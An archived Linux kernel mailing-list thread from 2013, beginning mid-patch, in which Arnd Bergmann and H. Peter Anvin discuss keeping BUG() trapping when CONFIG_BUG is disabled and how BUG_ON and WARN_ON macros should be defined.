10658553        1395584 1175552 13229689         c9de79 vmlinux-x86-nobug

3. with my patch, saves 0.8%
10684186        1395584 1175552 13255322         ca429a vmlinux-x86-archbug

Getting 1-2% savings in kernel size seems absolutely worth keeping the
option, but 0.2-0.4% left for getting reproducible behavior also seems
worthwhile. The result in the patch below.

This basically loses any of the BUG() reporting, but leaves the
logic to trap and kill the task in place when CONFIG_BUG is disabled.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>

diff --git a/arch/arm/include/asm/bug.h b/arch/arm/include/asm/bug.h
index 7af5c6c..f25e638 100644
--- a/arch/arm/include/asm/bug.h
+++ b/arch/arm/include/asm/bug.h
@@ -3,8 +3,6 @@
 
 #include <linux/linkage.h>
 
-#ifdef CONFIG_BUG
-
 /*
  * Use a suitable undefined instruction to use for ARM/Thumb2 bug handling.
  * We need to be careful not to conflict with those used by other modules and
@@ -51,10 +50,10 @@ do {								\
 	asm volatile(BUG_INSTR_TYPE #__value);			\
 	unreachable();						\
 } while (0)
 #endif  /* CONFIG_DEBUG_BUGVERBOSE */
 
 #define HAVE_ARCH_BUG
-#endif  /* CONFIG_BUG */
+#define HAVE_ARCH_BUG_ON
 
 #include <asm-generic/bug.h>
 
diff --git a/arch/x86/include/asm/bug.h b/arch/x86/include/asm/bug.h
index 2f03ff0..ba38ebb 100644
--- a/arch/x86/include/asm/bug.h
+++ b/arch/x86/include/asm/bug.h
@@ -1,7 +1,6 @@
 #ifndef _ASM_X86_BUG_H
 #define _ASM_X86_BUG_H
 
-#ifdef CONFIG_BUG
 #define HAVE_ARCH_BUG
 
 #ifdef CONFIG_DEBUG_BUGVERBOSE
@@ -33,8 +32,6 @@ do {								\
 } while (0)
 #endif
 
-#endif /* !CONFIG_BUG */
-
 #include <asm-generic/bug.h>
 
 #endif /* _ASM_X86_BUG_H */
diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
index 7d10f96..bbd2872 100644
--- a/include/asm-generic/bug.h
+++ b/include/asm-generic/bug.h
@@ -112,12 +112,13 @@ extern void warn_slowpath_null(const char *file, const int line);
 #endif
 
 #ifndef HAVE_ARCH_BUG_ON
-#define BUG_ON(condition) do { if (condition) ; } while(0)
+#define BUG_ON(condition) do { if (unlikely(condition)) BUG(); } while(0)
 #endif
 
 #ifndef HAVE_ARCH_WARN_ON
 #define WARN_ON(condition) ({						\
 	int __ret_warn_on = !!(condition);				\
+	(void)__ret_warn_on;						\
 	unlikely(__ret_warn_on);					\
 })
 #endif
@@ -125,6 +126,8 @@ extern void warn_slowpath_null(const char *file, const int line);
 #ifndef WARN
 #define WARN(condition, format...) ({					\
 	int __ret_warn_on = !!(condition);				\
+	if (0 && (__ret_warn_on))					\
+		printk(format);						\
 	unlikely(__ret_warn_on);					\
 })
 #endif

From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Tue, 28 May 2013 07:55:32 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <51A4C564.4040301@zytor.com>
References: <519DCBEF.3090208@asianux.com>
	<20130523090534.GJ18614@n2100.arm.linux.org.uk>
	<CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
	<201305231139.38233.arnd@arndb.de>
	<20130523100409.GK18614@n2100.arm.linux.org.uk>
	<20130528081910.GA29557@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369753021 14086 80.91.229.3 (28 May 2013 14:57:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 14:57:01 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        uml-devel <user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Geert Uyt
To: Ingo Molnar <mingo-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Tue May 28 16:56:56 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UhLKa-0004WG-4L
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Tue, 28 May 2013 16:56:56 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4SESTUZ021482;
	Tue, 28 May 2013 10:28:29 -0400
Original-Received: from mail.zytor.com (terminus.zytor.com [198.137.202.10])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r4SESJvM021478 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Tue, 28 May 2013 10:28:25 -0400
Original-Received: from tazenda.hos.anvin.org
	([IPv6:2601:9:3300:c3:e269:95ff:fe35:9f3c]) (authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r4SEtbCr008278
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Tue, 28 May 2013 07:55:37 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
	rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130528081910.GA29557-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
X-Enigmail-Version: 1.5.1
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7119 gmane.linux.ports.sh.devel:23375 gmane.linux.kernel.cross-arch:18149 gmane.linux.uml.devel:13948 gmane.linux.uml.user:14499 gmane.linux.ports.arm.kernel:239551 gmane.linux.ports.parisc:5089 gmane.linux.kernel:1497779 gmane.linux.ports.hexagon:600 gmane.linux.ports.ppc64.devel:91097
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7119>

On 05/28/2013 01:19 AM, Ingo Molnar wrote:
> 
> So I think the same principle applies to it as to any other debugging 
> code: it's fine to be able to turn debugging off. It's a performance 
> versus kernel robustness/determinism trade-off.
> 

I suspect, rather, that BUG() should turn into a trap (or jump to a
death routine) under any circumstances.  The one thing that can be
omitted for small configurations are the annotations, which only serve
to output a more human-readable error message.

	-hpa

From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Tue, 28 May 2013 17:43:52 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <201305281743.52649.arnd@arndb.de>
References: <519DCBEF.3090208@asianux.com> <20130528081910.GA29557@gmail.com>
 <51A4C564.4040301@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369755993 17782 80.91.229.3 (28 May 2013 15:46:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 15:46:33 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Chen Gang <gang.chen@asianux.com>, Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, Michel Lespinasse <walken@google.com>,
 Ingo Molnar <mingo@kernel.org>, Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 H?vard Skinnemoen
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue May 28 17:46:28 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1UhM6S-00016p-2G
	for linux-arm-kernel@m.gmane.org; Tue, 28 May 2013 17:46:24 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UhM5M-00054E-Sw; Tue, 28 May 2013 15:45:17 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UhM55-0000vV-MV; Tue, 28 May 2013 15:44:59 +0000
Original-Received: from moutng.kundenserver.de ([212.227.126.187])
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1UhM4r-0000tk-O2
 for linux-arm-kernel@lists.infradead.org; Tue, 28 May 2013 15:44:47 +0000
Original-Received: from klappe2.localnet
 (HSI-KBW-095-208-002-043.hsi5.kabel-badenwuerttemberg.de [95.208.2.43])
 by mrelayeu.kundenserver.de (node=mrbap4) with ESMTP (Nemesis)
 id 0MZUxJ-1V0H3e2CoH-00LGAS; Tue, 28 May 2013 17:43:56 +0200
User-Agent: KMail/1.12.2 (Linux/3.8.0-22-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <51A4C564.4040301@zytor.com>
X-Provags-ID: V02:K0:qzGPpTv2VjfqA+DESCcrxWyA+NJjg5DhRKtvVmeX9r4
 Lmab7/P5jHoamNQ9OgWW7AZ7IhsPQkoXFqShfCC8mhqz9wMZe/
 q0y0TMYEXEHT5jY7cTrelQ+ZFQ5sHijKGtRzvA0b5DUyPL+PmQ
 DI87mBmfVlKVSP2arycJyYksiHecSNXPVTge+2kHYqjvbc4FyQ
 wbp2vlw7PrJUpCHHixiokBOeazQpLcSI6kW4PtzEfZhtihPtIE
 RS/deAQCBrufI5LYdgo14cU/GeASFgHZmcT41UiOPuFOBZugVW
 uyyXQiH09FfukPf7t6qgSWyX5koupn4pL6kheVnNhJc5E/hrhF
 o6uEhrRpmJPyGs1SzOQs=
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130528_114446_097273_8755DDB6 
X-CRM114-Status: GOOD (  17.26  )
X-Spam-Score: -1.9 (-)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-1.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [212.227.126.187 listed in list.dnswl.org]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:239568 gmane.linux.ports.sh.devel:23376 gmane.linux.kernel.cross-arch:18152 gmane.linux.uml.devel:13949 gmane.linux.uml.user:14500 gmane.linux.hardware.blackfin.kernel.devel:7120 gmane.linux.ports.parisc:5090 gmane.linux.kernel:1497807 gmane.linux.ports.hexagon:601 gmane.linux.ports.ppc64.devel:91098
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/239568>

On Tuesday 28 May 2013, H. Peter Anvin wrote:
> On 05/28/2013 01:19 AM, Ingo Molnar wrote:
> > 
> > So I think the same principle applies to it as to any other debugging 
> > code: it's fine to be able to turn debugging off. It's a performance 
> > versus kernel robustness/determinism trade-off.
> > 
> 
> I suspect, rather, that BUG() should turn into a trap (or jump to a
> death routine) under any circumstances.  The one thing that can be
> omitted for small configurations are the annotations, which only serve
> to output a more human-readable error message.

Right, that is what the patch I just posted does.

On a related note, I found that WARN_ON() can no longer be compiled
out since there is already code that relies on the side-effects of
the condition. I assume that was an intentional change I missed,
since it used to be defined so that you could remove it completely.

	Arnd

From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Tue, 28 May 2013 09:06:48 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <51A4D618.3080208@zytor.com>
References: <519DCBEF.3090208@asianux.com> <20130528081910.GA29557@gmail.com>
	<51A4C564.4040301@zytor.com> <201305281743.52649.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369757294 1051 80.91.229.3 (28 May 2013 16:08:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 16:08:14 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>, Ingo Molnar <mingo-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
To: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Tue May 28 18:08:08 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UhMRT-0004dz-2h
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Tue, 28 May 2013 18:08:07 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4SFddVQ031933;
	Tue, 28 May 2013 11:39:39 -0400
Original-Received: from mail.zytor.com (terminus.zytor.com [198.137.202.10])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r4SFdPM9031929 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Tue, 28 May 2013 11:39:31 -0400
Original-Received: from hanvin-mobl6.amr.corp.intel.com (jfdmzpr06-ext.jf.intel.com
	[134.134.137.75]) (authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r4SG6rUa027927
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Tue, 28 May 2013 09:06:54 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
	rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <201305281743.52649.arnd-r2nGTMty4D4@public.gmane.org>
X-Enigmail-Version: 1.5.1
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7121 gmane.linux.ports.sh.devel:23377 gmane.linux.kernel.cross-arch:18154 gmane.linux.uml.devel:13950 gmane.linux.uml.user:14501 gmane.linux.ports.arm.kernel:239575 gmane.linux.ports.parisc:5091 gmane.linux.kernel:1497821 gmane.linux.ports.hexagon:602 gmane.linux.ports.ppc64.devel:91099
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7121>

On 05/28/2013 08:43 AM, Arnd Bergmann wrote:
> 
> Right, that is what the patch I just posted does.
> 
> On a related note, I found that WARN_ON() can no longer be compiled
> out since there is already code that relies on the side-effects of
> the condition. I assume that was an intentional change I missed,
> since it used to be defined so that you could remove it completely.
> 

It is possible to define WARN_ON() as:

#define WARN_ON(x) ((void)(x))

... which preserves side effects.

	-hpa

From - Thu Nov 08 21:09:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
	deleting 'CONFIG_BUG' since always need it.
Date: Tue, 28 May 2013 19:20:37 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <201305281920.37452.arnd@arndb.de>
References: <519DCBEF.3090208@asianux.com> <201305281743.52649.arnd@arndb.de>
	<51A4D618.3080208@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369761784 21897 80.91.229.3 (28 May 2013 17:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 May 2013 17:23:04 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>, Ingo Molnar <mingo-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
To: "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Tue May 28 19:22:59 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UhNbr-0006vf-Qj
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Tue, 28 May 2013 19:22:56 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4SGsG67008967;
	Tue, 28 May 2013 12:54:16 -0400
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.187])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
